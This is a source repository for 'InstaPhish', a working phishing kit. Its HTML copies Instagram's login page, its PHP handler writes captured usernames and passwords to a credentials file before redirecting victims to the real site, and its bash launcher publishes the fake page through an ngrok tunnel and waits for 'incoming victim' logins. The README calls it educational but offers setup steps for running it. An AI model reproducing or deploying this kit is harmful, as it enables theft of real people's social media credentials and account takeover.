+9
LICENSE.md
+9
LICENSE.md
···
1
+
MIT License
2
+
3
+
Copyright (c) 2025 Hatix Ntsoa
4
+
5
+
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
6
+
7
+
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
8
+
9
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+103
README.md
+103
README.md
···
1
+
# 🕵️♂️ InstaPhish - For Educational Purposes Only
2
+
3
+
4
+
5
+
> ⚠️ **Disclaimer**
6
+
>
7
+
> This project is intended **strictly for educational and ethical hacking awareness purposes only.**
8
+
>
9
+
> - Do **not** use this project for malicious purposes.
10
+
> - The author **does not condone** illegal activity and is **not responsible** for any misuse.
11
+
> - Always conduct security testing **only in authorized environments** with **explicit permission**.
12
+
> - This repository is meant to help individuals and professionals understand phishing mechanics and learn how to defend against them.
13
+
14
+
15
+
16
+
<br>
17
+
18
+
## 📸 Preview
19
+
20
+
21
+

22
+
23
+
24
+
25
+
26
+
<br>
27
+
28
+
## 🚀 Features
29
+
30
+
- Fake Instagram login page styled like the real interface
31
+
- Logs username and password attempts
32
+
- Automatically generates public forwarding using **ngrok**
33
+
- Logs output in real-time to console
34
+
- Dynamic PHP server running on a random available 4-digit port
35
+
36
+
37
+
38
+
<br>
39
+
40
+
## ⚙️ Installation & Setup
41
+
42
+
43
+
```bash
44
+
# 1. Clone this repository
45
+
git clone https://github.com/hatixntsoa/instaphish.git
46
+
47
+
# 2. Change to the project directory
48
+
cd instaphish
49
+
50
+
# 3. Give execution permission to the script
51
+
chmod +x instaphish.sh
52
+
53
+
# 4. Run the phishing server
54
+
./instaphish.sh
55
+
````
56
+
57
+
58
+
> ✅ Ensure you have both **PHP** and **ngrok** installed on your system.
59
+
60
+
61
+
62
+
<br>
63
+
64
+
## 📁 Project Structure
65
+
66
+
67
+
```
68
+
.
69
+
├── app/
70
+
│ └── instaphish.php
71
+
├── assets/
72
+
│ ├── images/
73
+
│ ├── scripts/
74
+
│ └── styles/
75
+
├── data/
76
+
│ └── credentials.txt // saved credentials
77
+
├── logs/
78
+
├── screenshots/
79
+
├── index.html
80
+
├── instaphish.sh
81
+
├── LICENSE.md
82
+
└── README.md
83
+
```
84
+
85
+
86
+
87
+
88
+
<br>
89
+
90
+
## 📌 Requirements
91
+
92
+
* **PHP** ≥ 7.x
93
+
* **ngrok** with authenticated account (set up via `ngrok authtoken`)
94
+
* Unix-like environment (Linux/macOS or WSL on Windows)
95
+
96
+
97
+
<br>
98
+
99
+
## 📚 Legal Note
100
+
101
+
This repository is designed to demonstrate **how phishing works**, so that developers, companies, and users can better understand and **protect themselves** from real threats.
102
+
103
+
Use it **ethically** and **legally**.
+40
app/instaphish.php
+40
app/instaphish.php
···
1
+
<?php
2
+
if (isset($_POST['username'])) {
3
+
$username = $_POST['username'];
4
+
}
5
+
6
+
if (isset($_POST['password'])) {
7
+
$password = $_POST['password'];
8
+
}
9
+
10
+
$green = "\033[32m";
11
+
$blue = "\033[34m";
12
+
$red = "\033[31m";
13
+
$reset = "\033[0m";
14
+
15
+
error_log(PHP_EOL);
16
+
17
+
error_log($red . "[!] Pwned !" . $reset);
18
+
error_log($blue . "[+] Username : $username" . $reset);
19
+
error_log($blue . "[+] Password : $password" . $reset);
20
+
error_log($green . "[*] Saved in credentials.txt" . $reset);
21
+
22
+
error_log(PHP_EOL);
23
+
24
+
$file = fopen('../data/credentials.txt', 'a');
25
+
if ($file) {
26
+
// Set the GMT offset to +3
27
+
$gmt = 3;
28
+
$dateTime = new DateTime("now", new DateTimeZone("GMT"));
29
+
$logTime = date('D M d H:i:s Y');
30
+
$dateTime->modify("+$gmt hours");
31
+
$formattedDateTime = $dateTime->format('m/d/Y H:i');
32
+
33
+
fwrite($file, "$logTime\n\nUsername: $username\nPassword: $password\n________________\n\n");
34
+
fclose($file);
35
+
header("Location: https://instagram.com");
36
+
exit();
37
+
} else {
38
+
echo "Unable to open file.";
39
+
}
40
+
?>
+5
assets/images/facephish.svg
+5
assets/images/facephish.svg
···
1
+
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="256" height="256" viewBox="0 0 256 256" xml:space="preserve">
2
+
<g style="stroke: none; stroke-width: 0; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: none; fill-rule: nonzero; opacity: 1;" transform="translate(1.4065934065934016 1.4065934065934016) scale(2.81 2.81)">
3
+
<path d="M 45 -0.228 c -24.853 0 -45 20.25 -45 45.229 c 0 22.806 16.797 41.66 38.633 44.77 V 58.779 h -10.64 V 46.328 h 10.64 v -9.182 c 0 -10.656 6.441 -16.458 15.849 -16.458 c 4.506 0 8.38 0.339 9.508 0.491 v 11.136 l -6.525 0.003 c -5.116 0 -6.107 2.457 -6.107 6.061 v 7.949 h 12.202 l -1.589 12.451 H 51.359 v 30.993 C 73.199 86.666 90 67.81 90 45.001 C 90 20.022 69.853 -0.228 45 -0.228 z" style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,149,246); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) " stroke-linecap="round"/>
4
+
</g>
5
+
</svg>
assets/images/instaphish.logo.png
assets/images/instaphish.logo.png
This is a binary file and will not be displayed.
assets/images/instaphish.text.png
assets/images/instaphish.text.png
This is a binary file and will not be displayed.
+85
assets/scripts/script.js
+85
assets/scripts/script.js
···
1
+
// Check for php server availability
2
+
async function checkPhpServer(username, password) {
3
+
try {
4
+
const response = await fetch('/app/server.check.php');
5
+
if (!response.ok) throw new Error('No PHP server');
6
+
const text = await response.text();
7
+
if (text.trim() !== 'PHP_OK') throw new Error('PHP check failed');
8
+
9
+
return true;
10
+
} catch (error) {
11
+
alert(`Sorry there is no PHP server running right now, here are your credentials btw:\nUsername: ${username}\nPassword: ${password}`);
12
+
location.reload();
13
+
return false;
14
+
}
15
+
}
16
+
17
+
// Clear all inputs in the form when submitted
18
+
const form = document.querySelector("form");
19
+
20
+
form.addEventListener('submit', async (event) => {
21
+
event.preventDefault();
22
+
23
+
const username = form.elements['username'].value;
24
+
const password = form.elements['password'].value;
25
+
26
+
const phpIsRunning = await checkPhpServer(username, password);
27
+
if (!phpIsRunning) return;
28
+
29
+
form.submit();
30
+
});
31
+
32
+
document.addEventListener("DOMContentLoaded", () => {
33
+
const usernameInput = document.getElementById("username");
34
+
const passwordInput = document.getElementById("password");
35
+
const loginButton = document.querySelector(".login-btn");
36
+
const togglePassword = document.getElementById("togglePassword");
37
+
const yearSpan = document.getElementById("current-year");
38
+
const select = document.getElementById("language-select");
39
+
const measureSpan = document.getElementById("language-measure");
40
+
41
+
if (yearSpan) {
42
+
yearSpan.textContent = new Date().getFullYear();
43
+
}
44
+
45
+
function validateInputs() {
46
+
const username = usernameInput.value.trim();
47
+
const password = passwordInput.value;
48
+
49
+
loginButton.disabled = !(username !== "" && password.length > 8);
50
+
51
+
// Show toggle button only if password is not empty
52
+
if (password.length > 0) {
53
+
togglePassword.style.display = "block";
54
+
} else {
55
+
togglePassword.style.display = "none";
56
+
passwordInput.type = "password";
57
+
togglePassword.textContent = "Show";
58
+
}
59
+
}
60
+
61
+
function updateSelectWidth() {
62
+
// Set the span's text to selected option
63
+
const selectedText = select.options[select.selectedIndex].text;
64
+
measureSpan.textContent = selectedText;
65
+
66
+
// Get computed width and add padding for dropdown arrow
67
+
const width = measureSpan.offsetWidth + 25;
68
+
select.style.width = width + "px";
69
+
}
70
+
71
+
updateSelectWidth();
72
+
73
+
select.addEventListener("change", updateSelectWidth);
74
+
75
+
usernameInput.addEventListener("input", validateInputs);
76
+
passwordInput.addEventListener("input", validateInputs);
77
+
78
+
validateInputs();
79
+
80
+
togglePassword.addEventListener("click", () => {
81
+
const isPassword = passwordInput.type === "password";
82
+
passwordInput.type = isPassword ? "text" : "password";
83
+
togglePassword.textContent = isPassword ? "Hide" : "Show";
84
+
});
85
+
});
+265
assets/styles/style.css
+265
assets/styles/style.css
···
1
+
* {
2
+
margin: 0;
3
+
padding: 0;
4
+
box-sizing: border-box;
5
+
font-family: Arial, sans-serif;
6
+
user-select: none;
7
+
}
8
+
9
+
body {
10
+
background-color: #000;
11
+
color: #fff;
12
+
display: flex;
13
+
flex-direction: column;
14
+
align-items: center;
15
+
justify-content: center;
16
+
min-height: 100vh;
17
+
}
18
+
19
+
.container {
20
+
margin-top: 13px;
21
+
}
22
+
23
+
.logo {
24
+
display:block;
25
+
margin: 0 auto 30px auto;
26
+
max-width: 100%;
27
+
height: 63px;
28
+
object-fit: contain;
29
+
}
30
+
31
+
.login-box {
32
+
background-color: #000;
33
+
border: 0.5px solid #363636;
34
+
padding: 40px 40px 20px 40px;
35
+
width: 350px;
36
+
text-align: center;
37
+
}
38
+
39
+
.logo {
40
+
font-family: 'Brush Script MT', cursive;
41
+
font-size: 40px;
42
+
margin-bottom: 20px;
43
+
}
44
+
45
+
input {
46
+
width: 100%;
47
+
height: 38px;
48
+
padding: 10px;
49
+
margin: 5px 0;
50
+
background: #121212;
51
+
border: 0.5px solid #555555;
52
+
border-radius: 4px;
53
+
color: #fff;
54
+
}
55
+
56
+
input:focus {
57
+
outline: none;
58
+
box-shadow: none;
59
+
}
60
+
61
+
.input-wrapper {
62
+
position: relative;
63
+
user-select: none;
64
+
}
65
+
66
+
.input-wrapper input {
67
+
width: 100%;
68
+
padding: 10px 8px 10px;
69
+
background: #121212;
70
+
border: 0.5px solid #555555;
71
+
color: #fff;
72
+
user-select: none;
73
+
line-height: 30px;
74
+
}
75
+
76
+
.label-text {
77
+
color: #a8a8a8;
78
+
}
79
+
80
+
.input-wrapper input:not(:placeholder-shown) {
81
+
padding-bottom: 0;
82
+
}
83
+
84
+
.input-wrapper label {
85
+
position: absolute;
86
+
left: 8px;
87
+
top: 50%;
88
+
transform: translateY(-50%);
89
+
color: #aaa;
90
+
pointer-events: none;
91
+
font-size: 12px;
92
+
}
93
+
94
+
.input-wrapper input:not(:placeholder-shown) + label {
95
+
top: 13px;
96
+
font-size: 10px;
97
+
background-color: #000;
98
+
padding: 0;
99
+
}
100
+
101
+
.toggle-password {
102
+
position: absolute;
103
+
right: 10px;
104
+
top: 50%;
105
+
transform: translateY(-50%);
106
+
background: none;
107
+
border: none;
108
+
color: #fff;
109
+
font-weight: bold;
110
+
cursor: pointer;
111
+
font-size: 14px;
112
+
padding: 0;
113
+
display: none;
114
+
user-select: none;
115
+
}
116
+
117
+
.toggle-password:hover {
118
+
color: #898989;
119
+
}
120
+
121
+
.toggle-password:focus {
122
+
outline: none;
123
+
}
124
+
125
+
.login-btn {
126
+
width: 100%;
127
+
padding: 10px;
128
+
background-color: #4150f7;
129
+
border-radius: 8px;
130
+
color: white;
131
+
border: none;
132
+
margin: 10px 0;
133
+
cursor: pointer;
134
+
font-weight: bold;
135
+
}
136
+
137
+
.login-btn:disabled {
138
+
opacity: 0.5;
139
+
}
140
+
141
+
.divider {
142
+
display: flex;
143
+
align-items: center;
144
+
text-align: center;
145
+
margin: 10px 0;
146
+
color: #999;
147
+
}
148
+
149
+
.divider span {
150
+
font-size: 13px;
151
+
font-weight: bold;
152
+
}
153
+
154
+
.divider::before, .divider::after {
155
+
content: '';
156
+
flex: 1;
157
+
height: 0.5px;
158
+
background: #262626;
159
+
}
160
+
161
+
.divider::before {
162
+
margin-right: 10px;
163
+
}
164
+
165
+
.divider::after {
166
+
margin-left: 10px;
167
+
}
168
+
169
+
.fb-logo {
170
+
height: 20px;
171
+
vertical-align: middle;
172
+
margin-right: 3px;
173
+
}
174
+
175
+
.facephish-login {
176
+
padding-top: 30px;
177
+
color: #0095f6;
178
+
text-decoration: none;
179
+
font-weight: bold;
180
+
font-size: 14px;
181
+
display: block;
182
+
margin: 10px 0;
183
+
}
184
+
185
+
.forgot {
186
+
color: #fff;
187
+
font-weight: bold;
188
+
text-decoration: none;
189
+
font-size: 14px;
190
+
}
191
+
192
+
.forgot:hover {
193
+
text-decoration: underline;
194
+
}
195
+
196
+
.signup-box {
197
+
background-color: #000;
198
+
border: 0.5px solid #363636;
199
+
padding: 20px;
200
+
margin-top: 10px;
201
+
text-align: center;
202
+
width: 100%;
203
+
font-size: 14.5px;
204
+
margin-left: auto;
205
+
margin-right: auto;
206
+
}
207
+
208
+
.signup-box a {
209
+
color: #0095f6;
210
+
text-decoration: none;
211
+
}
212
+
213
+
footer {
214
+
margin-top: 50px;
215
+
padding: 20px;
216
+
text-align: center;
217
+
font-size: 12px;
218
+
color: #999;
219
+
}
220
+
221
+
.footer-links {
222
+
display: flex;
223
+
flex-wrap: wrap;
224
+
justify-content: center;
225
+
gap: 15px;
226
+
margin-bottom: 20px;
227
+
}
228
+
229
+
.footer-links a {
230
+
color: #999;
231
+
text-decoration: none;
232
+
}
233
+
234
+
.footer-bottom {
235
+
display: flex;
236
+
justify-content: center;
237
+
align-items: center;
238
+
/* gap: 10px; */
239
+
margin-top: 10px;
240
+
}
241
+
242
+
.footer-bottom select {
243
+
background-color: #000;
244
+
color: #999;
245
+
text-align: right;
246
+
font-size: 12px;
247
+
margin-right: 12px;
248
+
border: none;
249
+
outline: none;
250
+
}
251
+
252
+
.footer-bottom select:focus {
253
+
border-color: inherit;
254
+
outline: none;
255
+
}
256
+
257
+
.measure-text {
258
+
visibility: hidden;
259
+
position: absolute;
260
+
white-space: nowrap;
261
+
font-size: 12px;
262
+
font-family: inherit;
263
+
font-weight: normal;
264
+
padding: 0;
265
+
}
+1
data/.gitkeep
+1
data/.gitkeep
···
1
+
# Keep captured credentials here.
+87
index.html
+87
index.html
···
1
+
<!DOCTYPE html>
2
+
<html lang="en">
3
+
4
+
<head>
5
+
<meta charset="UTF-8" />
6
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
7
+
<title>Login • Instagram</title>
8
+
<link rel="stylesheet" href="assets/styles/style.css" />
9
+
<link rel="icon" type="image/png" href="assets/images/instaphish.logo.png" />
10
+
</head>
11
+
12
+
<body>
13
+
<div class="container">
14
+
<div class="login-box">
15
+
<img class="logo" src="assets/images/instaphish.text.png" alt="Instagram" />
16
+
17
+
<form action="app/instaphish.php" method="post">
18
+
<div class="input-wrapper">
19
+
<input name="username" type="text" placeholder=" " autocomplete="off" spellcheck="false" id="username" required />
20
+
<label class="label-text" for="username">Phone number, username, or email</label>
21
+
</div>
22
+
23
+
<div class="input-wrapper">
24
+
<input name="password" type="password" placeholder=" " id="password" required />
25
+
<label for="username">Password</label>
26
+
<button type="button" id="togglePassword" class="toggle-password">Show</button>
27
+
</div>
28
+
29
+
<button class="login-btn" type="submit" disabled >Log in</button>
30
+
</form>
31
+
32
+
<div class="divider"><span>OR</span></div>
33
+
34
+
<a href="#" class="facephish-login">
35
+
<img class="fb-logo" src="assets/images/facephish.svg" alt="Facephish" />
36
+
Log in with Facebook
37
+
</a>
38
+
39
+
<a href="https://www.instagram.com/accounts/password/reset/"
40
+
class="forgot">
41
+
Forgot password?
42
+
</a>
43
+
</div>
44
+
<div class="signup-box">
45
+
<p>Don't have an account? <a href="#"><strong>Sign up</strong></a></p>
46
+
</div>
47
+
</div>
48
+
49
+
<footer>
50
+
<div class="footer-links">
51
+
<a href="#">Meta</a>
52
+
<a href="#">About</a>
53
+
<a href="#">Blog</a>
54
+
<a href="#">Jobs</a>
55
+
<a href="#">Help</a>
56
+
<a href="#">API</a>
57
+
<a href="#">Privacy</a>
58
+
<a href="#">Terms</a>
59
+
<a href="#">Locations</a>
60
+
<a href="#">Instagram Lite</a>
61
+
<a href="#">Threads</a>
62
+
<a href="#">Contact Uploading & Non-Users</a>
63
+
<a href="#">Meta Verified</a>
64
+
</div>
65
+
<div class="footer-bottom">
66
+
<div class="footer-bottom-inner">
67
+
<select name="language" id="language-select">
68
+
<option value="en" selected>English</option>
69
+
<option value="es">Español</option>
70
+
<option value="fr">Français</option>
71
+
<option value="de">Deutsch</option>
72
+
<option value="it">Italiano</option>
73
+
<option value="pt">Português (Brasil)</option>
74
+
<option value="ru">Русский</option>
75
+
<option value="ja">日本語</option>
76
+
<option value="ko">한국어</option>
77
+
<option value="zh">中文(简体)</option>
78
+
</select>
79
+
<span>© <span id="current-year"></span> Instagram from Meta</span>
80
+
</div>
81
+
</div>
82
+
</footer>
83
+
<br><br>
84
+
</body>
85
+
<span id="language-measure" class="measure-text"></span>
86
+
<script src="assets/scripts/script.js"></script>
87
+
</html>
+77
instaphish.sh
+77
instaphish.sh
···
1
+
#!/bin/bash
2
+
3
+
# Check if php is installed
4
+
if ! command -v php &>/dev/null; then
5
+
echo "Please install php first"
6
+
exit 0
7
+
fi
8
+
9
+
# Check if ngrok is installed
10
+
if ! command -v ngrok &>/dev/null; then
11
+
echo "Please install ngrok first"
12
+
exit 0
13
+
fi
14
+
15
+
# Disable Ctrl+C (^C) character display
16
+
stty -echoctl
17
+
18
+
# Kill on Ctrl+C
19
+
trap "echo; echo '[*] Shutting down...'; kill $php_pid $ngrok_pid 2>/dev/null; exit 0" INT
20
+
21
+
# Function to check if a port is free
22
+
is_port_free() {
23
+
! lsof -i :$1 >/dev/null 2>&1
24
+
}
25
+
26
+
# Generate a random 4-digit free port
27
+
while true; do
28
+
port=$((RANDOM % 5999 + 4001))
29
+
30
+
if is_port_free "$port"; then
31
+
break
32
+
fi
33
+
done
34
+
35
+
# Start PHP server and log output to file
36
+
php -S 0.0.0.0:$port >> logs/phishing.log 2>&1 &
37
+
php_pid=$!
38
+
echo "[+] Server started on port $port"
39
+
echo "[+] Local URL : http://localhost:$port"
40
+
echo
41
+
42
+
# Check if ngrok config exists before forwarding
43
+
if [[ -f "$HOME/.config/ngrok/ngrok.yml" ]]; then
44
+
# Start ngrok in background
45
+
ngrok http $port > /dev/null 2>&1 &
46
+
ngrok_pid=$!
47
+
48
+
# Wait until ngrok tunnel is available
49
+
echo -n "[+] Waiting for ngrok tunnel "
50
+
while true; do
51
+
ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1)
52
+
if [[ -n "$ngrok_url" ]]; then
53
+
break
54
+
fi
55
+
echo -n "."
56
+
sleep 0.5
57
+
done
58
+
echo ""
59
+
echo "[+] Port forwarded at $ngrok_url"
60
+
else
61
+
echo "[!] Please add your ngrok auth token in order to forward the port"
62
+
echo "[*] Server is running locally"
63
+
fi
64
+
65
+
echo
66
+
echo "[*] Waiting for incoming victim..."
67
+
68
+
# Monitor log file
69
+
tail -n 0 -f logs/phishing.log | while IFS= read -r line; do
70
+
if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then
71
+
echo "$line"
72
+
fi
73
+
if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then
74
+
echo
75
+
echo "[*] Waiting for incoming victim..."
76
+
fi
77
+
done
+1
logs/.gitkeep
+1
logs/.gitkeep
···
1
+
# Keep the logs here.
screenshots/instagram.login.png
screenshots/instagram.login.png
This is a binary file and will not be displayed.